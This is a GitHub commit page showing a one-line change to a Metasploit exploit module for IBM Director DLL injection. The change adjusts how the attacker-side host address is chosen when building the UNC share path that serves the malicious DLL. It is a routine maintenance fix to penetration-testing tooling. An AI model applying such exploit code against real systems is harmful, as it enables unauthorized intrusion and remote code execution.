We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents 1fb05c0 + 8e21d9e commit 817a774Copy full SHA for 817a774
modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
@@ -277,7 +277,7 @@ def exploit
277
basename = rand_text_alpha(3)
278
share_name = rand_text_alpha(3)
279
280
- myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+ myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
281
282
exploit_unc = "\\\\#{myhost}\\"
283
0 commit comments